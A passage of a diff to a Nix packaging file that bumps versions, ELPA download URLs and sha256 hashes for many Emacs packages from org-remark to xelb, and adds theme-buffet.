"0vp610bjjz885bb16kc7lv7k4h2fir8mvcs3jhvwrddbhyi4hycq"; }; packageRequires = [ compat emacs ]; meta = { @@ -4287,10 +4385,10 @@ elpaBuild { pname = "org-remark"; ename = "org-remark"; - version = "1.2.1.0.20231007.205129"; + version = "1.2.1.0.20240201.154838"; src = fetchurl { - url = "https://elpa.gnu.org/devel/org-remark-1.2.1.0.20231007.205129.tar"; - sha256 = "0k9pinnm26psr40pa1rib91kj6lrk0dnnsgbywlx0nmrfhs35yd2"; + url = "https://elpa.gnu.org/devel/org-remark-1.2.1.0.20240201.154838.tar"; + sha256 = "150zkg15y8zafjhwrwf2p5fng5287mh8n452a5gk47ikf0jsx7b0"; }; packageRequires = [ emacs org ]; meta = { @@ -4306,10 +4404,10 @@ elpaBuild { pname = "org-transclusion"; ename = "org-transclusion"; - version = "1.3.2.0.20230819.63913"; + version = "1.3.2.0.20240121.191446"; src = fetchurl { - url = "https://elpa.gnu.org/devel/org-transclusion-1.3.2.0.20230819.63913.tar"; - sha256 = "06kyqaaa7lw7sv0nznq7ln14dcnl8j2f31xdxzv0dn4la0fgl6mn"; + url = "https://elpa.gnu.org/devel/org-transclusion-1.3.2.0.20240121.191446.tar"; + sha256 = "02g3ih3sd2npnab4d46186dzplxwj01c0z71z1vr1axj45jzh5xv"; }; packageRequires = [ emacs org ]; meta = { @@ -4336,14 +4434,17 @@ license = lib.licenses.free; }; }) {}; - orgalist = callPackage ({ elpaBuild, emacs, fetchurl, lib }: + orgalist = callPackage ({ elpaBuild + , emacs + , fetchurl + , lib }: elpaBuild { pname = "orgalist"; ename = "orgalist"; - version = "1.13.0.20221221.81335"; + version = "1.14.0.20240111.181530"; src = fetchurl { - url = "https://elpa.gnu.org/devel/orgalist-1.13.0.20221221.81335.tar"; - sha256 = "0blq29dbzxssrmxs31q51z5085z6ym2iyr5bjjp81ar3qpa0v86f"; + url = "https://elpa.gnu.org/devel/orgalist-1.14.0.20240111.181530.tar"; + sha256 = "10cn1p5cwgkivbydpgfrnna5f2qy8vs7j1wl0hky3iyfya1wi24g"; }; packageRequires = [ emacs ]; meta = { @@ -4370,10 +4471,10 @@ elpaBuild { pname = "osm"; ename = "osm"; - version = "0.14.0.20231029.105928"; + version = "1.3.0.20240122.225511"; src = fetchurl { - url = "https://elpa.gnu.org/devel/osm-0.14.0.20231029.105928.tar"; - sha256 = "0hd2yg7yqnpdiy0icxz6fa128arrf2zl1sknj20ig52ba7z0wk2w"; + url = "https://elpa.gnu.org/devel/osm-1.3.0.20240122.225511.tar"; + sha256 = "0b0sdf7n9i4a7jl9xy51g50s04rvjqwvl02adc0cfalang9mk2la"; }; packageRequires = [ compat emacs ]; meta = { @@ -4453,10 +4554,10 @@ elpaBuild { pname = "parser-generator"; ename = "parser-generator"; - version = "0.1.6.0.20220512.173154"; + version = "0.2.0.0.20240110.203302"; src = fetchurl { - url = "https://elpa.gnu.org/devel/parser-generator-0.1.6.0.20220512.173154.tar"; - sha256 = "16kl8r8mgq17230gi2v61cqhxwawp1m6xjrbhc3qdlhy6plgidcy"; + url = "https://elpa.gnu.org/devel/parser-generator-0.2.0.0.20240110.203302.tar"; + sha256 = "10f1l10y92677nckfwz9778cxmcg9v28j7kllvhwhibxbyviy1z4"; }; packageRequires = [ emacs ]; meta = { @@ -4515,16 +4616,16 @@ license = lib.licenses.free; }; }) {}; - persist = callPackage ({ elpaBuild, fetchurl, lib }: + persist = callPackage ({ elpaBuild, emacs, fetchurl, lib }: elpaBuild { pname = "persist"; ename = "persist"; - version = "0.5.0.20230905.151959"; + version = "0.6.0.20240114.52348"; src = fetchurl { - url = "https://elpa.gnu.org/devel/persist-0.5.0.20230905.151959.tar"; - sha256 = "116a33w3av2lxvabkw5lb183i6prhj6fb3pg34fqq0i9f6lzzfb6"; + url = "https://elpa.gnu.org/devel/persist-0.6.0.20240114.52348.tar"; + sha256 = "0jml2w7l44l9dkr0bxvfw90a57p3iyya24n0ic6083c10mgnjs89"; }; - packageRequires = []; + packageRequires = [ emacs ]; meta = { homepage = "https://elpa.gnu.org/packages/persist.html"; license = lib.licenses.free; @@ -4552,10 +4653,10 @@ elpaBuild { pname = "phps-mode"; ename = "phps-mode"; - version = "0.4.46.0.20230414.164307"; + version = "0.4.47.0.20240115.73646"; src = fetchurl { - url = "https://elpa.gnu.org/devel/phps-mode-0.4.46.0.20230414.164307.tar"; - sha256 = "14m5gl1scj9rbn83wp35460vn71nc6fjmmmqw3pz5lzjcwxarvpq"; + url = "https://elpa.gnu.org/devel/phps-mode-0.4.47.0.20240115.73646.tar"; + sha256 = "16gnsisn1v3gh9hfwms4r9g3m03qg20bvfj42h15zyi4wz424bcv"; }; packageRequires = [ emacs ]; meta = { @@ -4567,10 +4668,10 @@ elpaBuild { pname = "pinentry"; ename = "pinentry"; - version = "0.1.0.20180116.131526"; + version = "0.1.0.20231126.141402"; src = fetchurl { - url = "https://elpa.gnu.org/devel/pinentry-0.1.0.20180116.131526.tar"; - sha256 = "152g6d7b084rzqpm7fw49rmgxx6baivhhjbb0q3ci0c3b4k01lbq"; + url = "https://elpa.gnu.org/devel/pinentry-0.1.0.20231126.141402.tar"; + sha256 = "1dc6sd80jrwv2sl679fycd4b3ss7n5c252vy61mv8alpn4vr4jdd"; }; packageRequires = []; meta = { @@ -4582,10 +4683,10 @@ elpaBuild { pname = "plz"; ename = "plz"; - version = "0.8pre0.20230709.214633"; + version = "0.8pre0.20240114.34705"; src = fetchurl { - url = "https://elpa.gnu.org/devel/plz-0.8pre0.20230709.214633.tar"; - sha256 = "1gzwzqjr0rkpcqbjfadn3rhj01ar6m66xws8cvlvjm8qfb5j4740"; + url = "https://elpa.gnu.org/devel/plz-0.8pre0.20240114.34705.tar"; + sha256 = "06wb543xci5h26cpazdwxgb6haf03yrmx7iwb5d2ja4rv50cirl3"; }; packageRequires = [ emacs ]; meta = { @@ -4746,10 +4847,10 @@ elpaBuild { pname = "project"; ename = "project"; - version = "0.10.0.0.20231108.75740"; + version = "0.10.0.0.20240126.10023"; src = fetchurl { - url = "https://elpa.gnu.org/devel/project-0.10.0.0.20231108.75740.tar"; - sha256 = "02arwv35vcpspg2k8nasmaz2ggc32v7p3iq2q6z5sznmdanl1jm4"; + url = "https://elpa.gnu.org/devel/project-0.10.0.0.20240126.10023.tar"; + sha256 = "02giqysmn6bjrl77jpzx2pwcxcx69bchxr2mraz1d9wm5whnmrhg"; }; packageRequires = [ emacs xref ]; meta = { @@ -4791,10 +4892,10 @@ elpaBuild { pname = "pulsar"; ename = "pulsar"; - version = "1.0.1.0.20231115.55251"; + version = "1.0.1.0.20240117.25720"; src = fetchurl { - url = "https://elpa.gnu.org/devel/pulsar-1.0.1.0.20231115.55251.tar"; - sha256 = "15pvf6f0g423w3vi86l8djxvzzrvziml7rlqp314xskp8kz7w6g6"; + url = "https://elpa.gnu.org/devel/pulsar-1.0.1.0.20240117.25720.tar"; + sha256 = "1cqm3ap285gfpbvlk6lckc09ypw2vzv0z1r157pqbaffqqca9vi5"; }; packageRequires = [ emacs ]; meta = { @@ -4838,10 +4939,10 @@ elpaBuild { pname = "python"; ename = "python"; - version = "0.28.0.20230930.220905"; + version = "0.28.0.20240127.100548"; src = fetchurl { - url = "https://elpa.gnu.org/devel/python-0.28.0.20230930.220905.tar"; - sha256 = "1wx5r444rzbqhxj9gqhcxaliv7w8iqiscnbdnz2h8px1wdsfqxw9"; + url = "https://elpa.gnu.org/devel/python-0.28.0.20240127.100548.tar"; + sha256 = "0qzj4j8rx7kmrxd8lqrflzzb8wv3gfk6q755sm4vsqapssckziwx"; }; packageRequires = [ compat emacs seq ]; meta = { @@ -4887,10 +4988,10 @@ elpaBuild { pname = "rainbow-mode"; ename = "rainbow-mode"; - version = "1.0.6.0.20230809.10050"; + version = "1.0.6.0.20231215.171141"; src = fetchurl { - url = "https://elpa.gnu.org/devel/rainbow-mode-1.0.6.0.20230809.10050.tar"; - sha256 = "1621pnk71r33b858rjmkab97sn26iwj010g9fl1fzv456w3bca1c"; + url = "https://elpa.gnu.org/devel/rainbow-mode-1.0.6.0.20231215.171141.tar"; + sha256 = "0j74lyl90wddqn2hg2pgji48gvgh1kg56jksrhfr29ykdp6rfzf0"; }; packageRequires = []; meta = { @@ -4978,10 +5079,10 @@ elpaBuild { pname = "realgud-ipdb"; ename = "realgud-ipdb"; - version = "1.0.0.0.20230320.62057"; + version = "1.0.0.0.20231216.160636"; src = fetchurl { - url = "https://elpa.gnu.org/devel/realgud-ipdb-1.0.0.0.20230320.62057.tar"; - sha256 = "0h5j1n835mm4y8rg0j52gvbkdp5r722hk7sxphhci09smjwncg1l"; + url = "https://elpa.gnu.org/devel/realgud-ipdb-1.0.0.0.20231216.160636.tar"; + sha256 = "1ih8dg1fm9bwg33zg353zzsnb84qc5p16flnj1rx9wyvblzx0v0q"; }; packageRequires = [ emacs load-relative realgud ]; meta = { @@ -5118,10 +5219,10 @@ elpaBuild { pname = "rec-mode"; ename = "rec-mode"; - version = "1.9.1.0.20221220.80844"; + version = "1.9.3.0.20231120.221944"; src = fetchurl { - url = "https://elpa.gnu.org/devel/rec-mode-1.9.1.0.20221220.80844.tar"; - sha256 = "0wzc76phg755q47qrin32i7a6d3g5qrsvlnl3kfzhncmjcb118lh"; + url = "https://elpa.gnu.org/devel/rec-mode-1.9.3.0.20231120.221944.tar"; + sha256 = "1k5ncn93vffa4yf84c1ri57lb1sfc9b5czvwvsiijlgci2795j91"; }; packageRequires = [ emacs ]; meta = { @@ -5150,10 +5251,10 @@ elpaBuild { pname = "relint"; ename = "relint"; - version = "1.24.0.20231026.84057"; + version = "1.24.0.20240123.121000"; src = fetchurl { - url = "https://elpa.gnu.org/devel/relint-1.24.0.20231026.84057.tar"; - sha256 = "0s0gz6w6b04sif8yf83hb7y61jmjvksmslznmzlf8x3rq9p7kwyd"; + url = "https://elpa.gnu.org/devel/relint-1.24.0.20240123.121000.tar"; + sha256 = "11482r6h8b0n2ga74mi57nhf9zym2ignii6gfdivrlw8bgmnl1jx"; }; packageRequires = [ emacs xr ]; meta = { @@ -5168,10 +5269,10 @@ elpaBuild { pname = "repology"; ename = "repology"; - version = "1.2.3.0.20220320.111223"; + version = "1.2.4.0.20240108.130348"; src = fetchurl { - url = "https://elpa.gnu.org/devel/repology-1.2.3.0.20220320.111223.tar"; - sha256 = "01gxmfr5v2zj0mj0i9ffk824qxdjfwc773vh4fyv67im2m17i8wc"; + url = "https://elpa.gnu.org/devel/repology-1.2.4.0.20240108.130348.tar"; + sha256 = "1w1aisspx5zvj1a2hmnnd93wra1kjizid7sr8kqkwsyva5c03wvd"; }; packageRequires = [ emacs ]; meta = { @@ -5218,10 +5319,10 @@ elpaBuild { pname = "rt-liberation"; ename = "rt-liberation"; - version = "5.0.20220503.141657"; + version = "6.0.20231204.173138"; src = fetchurl { - url = "https://elpa.gnu.org/devel/rt-liberation-5.0.20220503.141657.tar"; - sha256 = "0bx4zh21pfl6df5hj3ny6p3b6askjkk8jkqajj8lldwd8x5fyz6c"; + url = "https://elpa.gnu.org/devel/rt-liberation-6.0.20231204.173138.tar"; + sha256 = "0z6988s3hnbh4l5crn3m1ilz94dvsi8d11khjb45qdkmdpzvdmh3"; }; packageRequires = []; meta = { @@ -5333,10 +5434,10 @@ elpaBuild { pname = "seq"; ename = "seq"; - version = "2.24.0.20230904.183335"; + version = "2.24.0.20240201.135317"; src = fetchurl { - url = "https://elpa.gnu.org/devel/seq-2.24.0.20230904.183335.tar"; - sha256 = "00xqabqcr2pxfsc6x7dj49nl0yxq2a9cy893hvalc07x4mz4jhp8"; + url = "https://elpa.gnu.org/devel/seq-2.24.0.20240201.135317.tar"; + sha256 = "15lmvz72pq94bf10rk7m327lrvk9680wjfx07289w7qcqq98k1y9"; }; packageRequires = []; meta = { @@ -5348,10 +5449,10 @@ elpaBuild { pname = "setup"; ename = "setup"; - version = "1.3.2.0.20231031.80845"; + version = "1.3.2.0.20240201.73543"; src = fetchurl { - url = "https://elpa.gnu.org/devel/setup-1.3.2.0.20231031.80845.tar"; - sha256 = "0bm5rbhhsl1wfrrf5ikvn368xv49fzxh375jhl9f5r5m4dj1l0s4"; + url = "https://elpa.gnu.org/devel/setup-1.3.2.0.20240201.73543.tar"; + sha256 = "1rrms6x9jrd4zbm2km7db86j0ak1cmdblrja1dcc089p9pff7l90"; }; packageRequires = [ emacs ]; meta = { @@ -5496,14 +5597,16 @@ license = lib.licenses.free; }; }) {}; - sm-c-mode = callPackage ({ elpaBuild, fetchurl, lib }: + sm-c-mode = callPackage ({ elpaBuild + , fetchurl + , lib }: elpaBuild { pname = "sm-c-mode"; ename = "sm-c-mode"; - version = "1.1.0.20221221.82204"; + version = "1.1.0.20240101.165603"; src = fetchurl { - url = "https://elpa.gnu.org/devel/sm-c-mode-1.1.0.20221221.82204.tar"; - sha256 = "0zdzncy64b2d2kp7bnlr6vk30ajbhmzzmvvdkbbacc3n03bpdv7d"; + url = "https://elpa.gnu.org/devel/sm-c-mode-1.1.0.20240101.165603.tar"; + sha256 = "00nh3fr57la0zj36c47rwjdkc7a3imvpc5jqh4pg98zn12mi1jdz"; }; packageRequires = []; meta = { @@ -5561,17 +5664,14 @@ license = lib.licenses.free; }; }) {}; - so-long = callPackage ({ elpaBuild - , emacs - , fetchurl - , lib }: + so-long = callPackage ({ elpaBuild, emacs, fetchurl, lib }: elpaBuild { pname = "so-long"; ename = "so-long"; - version = "1.1.2.0.20231021.130558"; + version = "1.1.2.0.20240102.22814"; src = fetchurl { - url = "https://elpa.gnu.org/devel/so-long-1.1.2.0.20231021.130558.tar"; - sha256 = "0mvmb3b7z66qziifqhiny00iih5l9znb6fyn33ga0rvvnsra32n0"; + url = "https://elpa.gnu.org/devel/so-long-1.1.2.0.20240102.22814.tar"; + sha256 = "0865xyx76pq2i0fgqm31vh79alrqqbp6pqzcmadlaxd8jhfck6yq"; }; packageRequires = [ emacs ]; meta = { @@ -5587,10 +5687,10 @@ elpaBuild { pname = "soap-client"; ename = "soap-client"; - version = "3.2.3.0.20230930.220905"; + version = "3.2.3.0.20240102.22814"; src = fetchurl { - url = "https://elpa.gnu.org/devel/soap-client-3.2.3.0.20230930.220905.tar"; - sha256 = "1zj2935wfbr174pjvy5xb2h9szi9aaagr2967ri97qldbkgvjhq0"; + url = "https://elpa.gnu.org/devel/soap-client-3.2.3.0.20240102.22814.tar"; + sha256 = "1mjrb4nsphab8mf5cjjph4dy12v1mzr0x6kxkddp5dwdlpyprn7s"; }; packageRequires = [ cl-lib emacs ]; meta = { @@ -5639,10 +5739,10 @@ elpaBuild { pname = "spacious-padding"; ename = "spacious-padding"; - version = "0.1.0.0.20231115.114712"; + version = "0.3.0.0.20240117.25856"; src = fetchurl { - url = "https://elpa.gnu.org/devel/spacious-padding-0.1.0.0.20231115.114712.tar"; - sha256 = "1why1wwbpasmag8czsgb65f8gkqjcg5hckgmk9106ml834krhhx5"; + url = "https://elpa.gnu.org/devel/spacious-padding-0.3.0.0.20240117.25856.tar"; + sha256 = "1r51ag62452w8sg40v83wlkkpqkc14p99af4xalwg07zililii2p"; }; packageRequires = [ emacs ]; meta = { @@ -5733,16 +5833,16 @@ license = lib.licenses.free; }; }) {}; - srht = callPackage ({ elpaBuild, emacs, fetchurl, lib, plz }: + srht = callPackage ({ elpaBuild, emacs, fetchurl, lib, plz, transient }: elpaBuild { pname = "srht"; ename = "srht"; - version = "0.3.0.20231114.102408"; + version = "0.4.0.20231117.115741"; src = fetchurl { - url = "https://elpa.gnu.org/devel/srht-0.3.0.20231114.102408.tar"; - sha256 = "0s5xa8vqb6wzxmv3vx8cc8lkpnnkfzdjljra7lz105m3v2adz1a0"; + url = "https://elpa.gnu.org/devel/srht-0.4.0.20231117.115741.tar"; + sha256 = "0az2gkxqhg8dlvjmcqjgz3p82mzc2j881j72pwzc79dyv3akd2aq"; }; - packageRequires = [ emacs plz ]; + packageRequires = [ emacs plz transient ]; meta = { homepage = "https://elpa.gnu.org/packages/srht.html"; license = lib.licenses.free; @@ -5773,10 +5873,10 @@ elpaBuild { pname = "standard-themes"; ename = "standard-themes"; - version = "1.2.0.0.20231031.71926"; + version = "2.0.1.0.20240117.30001"; src = fetchurl { - url = "https://elpa.gnu.org/devel/standard-themes-1.2.0.0.20231031.71926.tar"; - sha256 = "10hj6w5wyr7kw4rargk9n1iiyl0i48cc9mbv2m0vg6bnb72237z5"; + url = "https://elpa.gnu.org/devel/standard-themes-2.0.1.0.20240117.30001.tar"; + sha256 = "0fxidsjcyh9cgw73ss8xwmsj1a3dzssy7vjb512xpkbxhwdfma62"; }; packageRequires = [ emacs ]; meta = { @@ -5806,10 +5906,10 @@ elpaBuild { pname = "substitute"; ename = "substitute"; - version = "0.2.1.0.20230704.110210"; + version = "0.2.1.0.20240117.30048"; src = fetchurl { - url = "https://elpa.gnu.org/devel/substitute-0.2.1.0.20230704.110210.tar"; - sha256 = "0r3fwndzgz1xl0r607mnvjjmw5g1cf7qg2gvwsyrzdn6hrs786zj"; + url = "https://elpa.gnu.org/devel/substitute-0.2.1.0.20240117.30048.tar"; + sha256 = "1sprpnbbar0nwx3nx5rh7pfaxs7x105370zwbiz1xp7gm8w11lwy"; }; packageRequires = [ emacs ]; meta = { @@ -5821,10 +5921,10 @@ elpaBuild { pname = "svg"; ename = "svg"; - version = "1.1.0.20230930.220905"; + version = "1.1.0.20240102.22814"; src = fetchurl { - url = "https://elpa.gnu.org/devel/svg-1.1.0.20230930.220905.tar"; - sha256 = "017piiqyi0kwrllmywyalfdddmm4h06ipx6srq97l4rj8hm8zikd"; + url = "https://elpa.gnu.org/devel/svg-1.1.0.20240102.22814.tar"; + sha256 = "0yrh958hw3g0yc5gbqpnzqa37wkv0z6s824vg4mmbq5qqmzj4sqq"; }; packageRequires = [ emacs ]; meta = { @@ -5847,17 +5947,14 @@ license = lib.licenses.free; }; }) {}; - svg-lib = callPackage ({ elpaBuild - , emacs - , fetchurl - , lib }: + svg-lib = callPackage ({ elpaBuild, emacs, fetchurl, lib }: elpaBuild { pname = "svg-lib"; ename = "svg-lib"; - version = "0.2.7.0.20230619.143402"; + version = "0.3.0.20240116.145654"; src = fetchurl { - url = "https://elpa.gnu.org/devel/svg-lib-0.2.7.0.20230619.143402.tar"; - sha256 = "1h4knhasimf496qhlvm132cghpam303vl9mbdg4p3ld5jcd6ghz5"; + url = "https://elpa.gnu.org/devel/svg-lib-0.3.0.20240116.145654.tar"; + sha256 = "191hy26f6ppb4jqyszlb1zqbfz2l9bwrplgqycvzmf21r3qb73p8"; }; packageRequires = [ emacs ]; meta = { @@ -5873,10 +5970,10 @@ elpaBuild { pname = "svg-tag-mode"; ename = "svg-tag-mode"; - version = "0.3.2.0.20230824.94303"; + version = "0.3.2.0.20240122.120925"; src = fetchurl { - url = "https://elpa.gnu.org/devel/svg-tag-mode-0.3.2.0.20230824.94303.tar"; - sha256 = "18pdzq1k3qign1rjfasfv4wfhiacgn2afycpfw5cxpdazx6hycv3"; + url = "https://elpa.gnu.org/devel/svg-tag-mode-0.3.2.0.20240122.120925.tar"; + sha256 = "0p4vfrq3p32j4w4qksqll9wmcc4mgi42qdxwg9gny7jjbvpnvk62"; }; packageRequires = [ emacs svg-lib ]; meta = { @@ -5929,10 +6026,10 @@ elpaBuild { pname = "sxhkdrc-mode"; ename = "sxhkdrc-mode"; - version = "1.0.0.0.20230210.123052"; + version = "1.0.0.0.20240117.30132"; src = fetchurl { - url = "https://elpa.gnu.org/devel/sxhkdrc-mode-1.0.0.0.20230210.123052.tar"; - sha256 = "00449dipkxpl4ddv5cjzvsahig23wl2f9p42zpqjfsvvg2gcklk8"; + url = "https://elpa.gnu.org/devel/sxhkdrc-mode-1.0.0.0.20240117.30132.tar"; + sha256 = "0ys8nchp6ic6wivsgkd97z6v17mdszpldbz4n2bzl3aphhvfy5nf"; }; packageRequires = [ emacs ]; meta = { @@ -6027,10 +6124,10 @@ elpaBuild { pname = "taxy-magit-section"; ename = "taxy-magit-section"; - version = "0.12.2.0.20230223.182024"; + version = "0.13.0.20240124.3519"; src = fetchurl { - url = "https://elpa.gnu.org/devel/taxy-magit-section-0.12.2.0.20230223.182024.tar"; - sha256 = "1gd2z5rhns8d2bkz86h2j51xhxcpiqfmzllpz7mn3s7pfnfrva8w"; + url = "https://elpa.gnu.org/devel/taxy-magit-section-0.13.0.20240124.3519.tar"; + sha256 = "1zr1rbmfmhqq94rahas4gqk31ma0ym9p5p8f3i0h7z6ghby8y6xp"; }; packageRequires = [ emacs magit-section taxy ]; meta = { @@ -6060,10 +6157,10 @@ elpaBuild { pname = "tempel"; ename = "tempel"; - version = "0.8.0.20231111.112832"; + version = "1.0.0.20240102.33150"; src = fetchurl { - url = "https://elpa.gnu.org/devel/tempel-0.8.0.20231111.112832.tar"; - sha256 = "1gd4dvill1vvdncibjfv7vl1rxlkhcq2nfppczyp2sr565fgcb0c"; + url = "https://elpa.gnu.org/devel/tempel-1.0.0.20240102.33150.tar"; + sha256 = "16kfp6bshcsqps7fxfc6nm2wnhj1bffizjyakzcw6g2qzb5yig88"; }; packageRequires = [ compat emacs ]; meta = { @@ -6089,6 +6186,24 @@ license = lib.licenses.free; }; }) {}; + theme-buffet = callPackage ({ elpaBuild + , emacs + , fetchurl + , lib }: + elpaBuild { + pname = "theme-buffet"; + ename = "theme-buffet"; + version = "0.1.2.0.20240105.165329"; + src = fetchurl { + url = "https://elpa.gnu.org/devel/theme-buffet-0.1.2.0.20240105.165329.tar"; + sha256 = "1wd5nxypm2fy10lm8xy2ch9rmsrfmn1ang0br7yj5rjws2q833r6"; + }; + packageRequires = [ emacs ]; + meta = { + homepage = "https://elpa.gnu.org/packages/theme-buffet.html"; + license = lib.licenses.free; + }; + }) {}; timerfunctions = callPackage ({ cl-lib ? null , elpaBuild , emacs @@ -6127,10 +6242,10 @@ elpaBuild { pname = "tmr"; ename = "tmr"; - version = "0.4.0.0.20230905.43251"; + version = "0.4.0.0.20240117.30342"; src = fetchurl { - url = "https://elpa.gnu.org/devel/tmr-0.4.0.0.20230905.43251.tar"; - sha256 = "0w4ss2jn4vc2ad4hcf37192si1iqkxri11mz3nzcl4lyxnb19n9a"; + url = "https://elpa.gnu.org/devel/tmr-0.4.0.0.20240117.30342.tar"; + sha256 = "11n8xqah46j83b1bdghns6dm1wr9bfgi4hqab6as54rf6xiqlaiq"; }; packageRequires = [ compat emacs ]; meta = { @@ -6171,14 +6286,17 @@ license = lib.licenses.free; }; }) {}; - tramp = callPackage ({ elpaBuild, emacs, fetchurl, lib }: + tramp = callPackage ({ elpaBuild + , emacs + , fetchurl + , lib }: elpaBuild { pname = "tramp"; ename = "tramp"; - version = "2.6.1.4.0.20231030.81039"; + version = "2.6.2.1.0.20240130.101154"; src = fetchurl { - url = "https://elpa.gnu.org/devel/tramp-2.6.1.4.0.20231030.81039.tar"; - sha256 = "1m8ij5xrh5yp5n70yqlxdxgvk0ap6mqnymhasncm2vqfzlxkdd45"; + url = "https://elpa.gnu.org/devel/tramp-2.6.2.1.0.20240130.101154.tar"; + sha256 = "0rlzqwcmcifcg64sbabs8fnrbx4s5vvkqwdwf963pji5fi2n60di"; }; packageRequires = [ emacs ]; meta = { @@ -6248,10 +6366,10 @@ elpaBuild { pname = "transient"; ename = "transient"; - version = "0.4.3.0.20231112.92348"; + version = "0.5.3.0.20240201.110006"; src = fetchurl { - url = "https://elpa.gnu.org/devel/transient-0.4.3.0.20231112.92348.tar"; - sha256 = "01yvwx8psllys34fry1vp2h7w3jll8kcrglsri8p2d3bps45pn14"; + url = "https://elpa.gnu.org/devel/transient-0.5.3.0.20240201.110006.tar"; + sha256 = "07hg1bas7zvs6hxq189wp5ngi71skydal2h6q4xsv28ac7mi268g"; }; packageRequires = [ compat emacs seq ]; meta = { @@ -6319,10 +6437,10 @@ elpaBuild { pname = "triples"; ename = "triples"; - version = "0.3.5.0.20230809.231343"; + version = "0.3.5.0.20240201.233852"; src = fetchurl { - url = "https://elpa.gnu.org/devel/triples-0.3.5.0.20230809.231343.tar"; - sha256 = "0fhwwagwghygg64p05r5vzj6vd2n9inv8v53y2mfjxvsbbz463rc"; + url = "https://elpa.gnu.org/devel/triples-0.3.5.0.20240201.233852.tar"; + sha256 = "0fbm6f5xxixmmi1fywada5k1kgbh8ab0vsick8l0d1g5pm33c4x7"; }; packageRequires = [ emacs seq ]; meta = { @@ -6426,10 +6544,10 @@ elpaBuild { pname = "urgrep"; ename = "urgrep"; - version = "0.3.0snapshot0.20231110.152111"; + version = "0.4.0snapshot0.20240124.145836"; src = fetchurl { - url = "https://elpa.gnu.org/devel/urgrep-0.3.0snapshot0.20231110.152111.tar"; - sha256 = "15vbi4vjqr9kz1q1525snl5pz35mgbzrjkysl7gm4zpj6s6qcbar"; + url = "https://elpa.gnu.org/devel/urgrep-0.4.0snapshot0.20240124.145836.tar"; + sha256 = "1bi6hvkpcdk3kjdzj14lndsyxhl2bcscx57ggl6wmix7ga0bc8za"; }; packageRequires = [ compat emacs project ]; meta = { @@ -6478,10 +6596,10 @@ elpaBuild { pname = "url-scgi"; ename = "url-scgi"; - version = "0.9.0.20231009.93301"; + version = "0.9.0.20231222.161107"; src = fetchurl { - url = "https://elpa.gnu.org/devel/url-scgi-0.9.0.20231009.93301.tar"; - sha256 = "056ycnpx1s8ndsls0vl5gfv5z6fi8inp692jcn9dxw49dja7fn63"; + url = "https://elpa.gnu.org/devel/url-scgi-0.9.0.20231222.161107.tar"; + sha256 = "101z2rmfbl5g88lwbf3p3r5wrnfxl6vqw836rjnybfxpl0m89862"; }; packageRequires = [ emacs ]; meta = { @@ -6497,10 +6615,10 @@ elpaBuild { pname = "use-package"; ename = "use-package"; - version = "2.4.5.0.20231026.114632"; + version = "2.4.5.0.20240113.53615"; src = fetchurl { - url = "https://elpa.gnu.org/devel/use-package-2.4.5.0.20231026.114632.tar"; - sha256 = "0sfs6030s6zngxgsv9wj181brsk6f8avfvl53vr0yspry53z2vpz"; + url = "https://elpa.gnu.org/devel/use-package-2.4.5.0.20240113.53615.tar"; + sha256 = "17c7q2y8lf37gvzxzqhbpr2szkkfnam5yagsqmrv8h0b5cnmnrlq"; }; packageRequires = [ bind-key emacs ]; meta = { @@ -6646,10 +6764,10 @@ elpaBuild { pname = "verilog-mode"; ename = "verilog-mode"; - version = "2023.6.6.141322628.0.20231013.132356"; + version = "2023.6.6.141322628.0.20240102.22814"; src = fetchurl { - url = "https://elpa.gnu.org/devel/verilog-mode-2023.6.6.141322628.0.20231013.132356.tar"; - sha256 = "024gy1wjf1m6ip9pzs0373vrvci8dqxp6hyqv5j1s9imb1j5ps63"; + url = "https://elpa.gnu.org/devel/verilog-mode-2023.6.6.141322628.0.20240102.22814.tar"; + sha256 = "0zp9nasy8vd3b047bjpiyvl2c0l4k03nbba4yga5a77jkg7mzsh1"; }; packageRequires = []; meta = { @@ -6661,10 +6779,10 @@ elpaBuild { pname = "vertico"; ename = "vertico"; - version = "1.4.0.20231115.164627"; + version = "1.7.0.20240128.152618"; src = fetchurl { - url = "https://elpa.gnu.org/devel/vertico-1.4.0.20231115.164627.tar"; - sha256 = "1rb2lvk2h7qxddws53n0qp5mg71b6gy94rdqy6nz77f1p3rrxqwf"; + url = "https://elpa.gnu.org/devel/vertico-1.7.0.20240128.152618.tar"; + sha256 = "1h557pz30s86mivx4y2b8pxn2nws3qm8zhvmcf0hm40xv3fcyfyk"; }; packageRequires = [ compat emacs ]; meta = { @@ -6681,10 +6799,10 @@ elpaBuild { pname = "vertico-posframe"; ename = "vertico-posframe"; - version = "0.7.3.0.20231115.51213"; + version = "0.7.7.0.20240202.84736"; src = fetchurl { - url = "https://elpa.gnu.org/devel/vertico-posframe-0.7.3.0.20231115.51213.tar"; - sha256 = "1ymjcby120181rfl353kdx1i4jpg5vb6vrag5775bknr3ijjqax9"; + url = "https://elpa.gnu.org/devel/vertico-posframe-0.7.7.0.20240202.84736.tar"; + sha256 = "0nx5lqkss2ya06c95apbmdii2rnidbhnywzyqs2mr2fyvlv1azwp"; }; packageRequires = [ emacs posframe vertico ]; meta = { @@ -6761,10 +6879,10 @@ elpaBuild { pname = "vundo"; ename = "vundo"; - version = "2.1.0.0.20230928.182756"; + version = "2.2.0.0.20240128.155237"; src = fetchurl { - url = "https://elpa.gnu.org/devel/vundo-2.1.0.0.20230928.182756.tar"; - sha256 = "148c6c4bndj09lns44a85ja3r3q6frspvcqzx2iidb1ryyj79gx5"; + url = "https://elpa.gnu.org/devel/vundo-2.2.0.0.20240128.155237.tar"; + sha256 = "0x21zxvn6d9pdbwf00ahi23ly48hqq9fn8fblf8gbla6w8qg8ava"; }; packageRequires = [ emacs ]; meta = { @@ -6884,10 +7002,10 @@ elpaBuild { pname = "window-commander"; ename = "window-commander"; - version = "3.0.2.0.20230630.142949"; + version = "3.0.2.0.20231211.140728"; src = fetchurl { - url = "https://elpa.gnu.org/devel/window-commander-3.0.2.0.20230630.142949.tar"; - sha256 = "0sr29bslv9b2avsb6s0ln7j19zbrfvk2xbxgylxi3r43nhm4lmy5"; + url = "https://elpa.gnu.org/devel/window-commander-3.0.2.0.20231211.140728.tar"; + sha256 = "1k5s0ccx26z1zdbd9fzgcvwkra4ww0crbcixl78ayh0wkxcjgkzv"; }; packageRequires = [ emacs ]; meta = { @@ -7027,16 +7145,16 @@ license = lib.licenses.free; }; }) {}; - xelb = callPackage ({ cl-generic, elpaBuild, emacs, fetchurl, lib }: + xelb = callPackage ({ elpaBuild, emacs, fetchurl, lib }: elpaBuild { pname = "xelb"; ename = "xelb"; - version = "0.18.0.20200719.0"; + version = "0.18.0.20240124.64549"; src = fetchurl { - url = 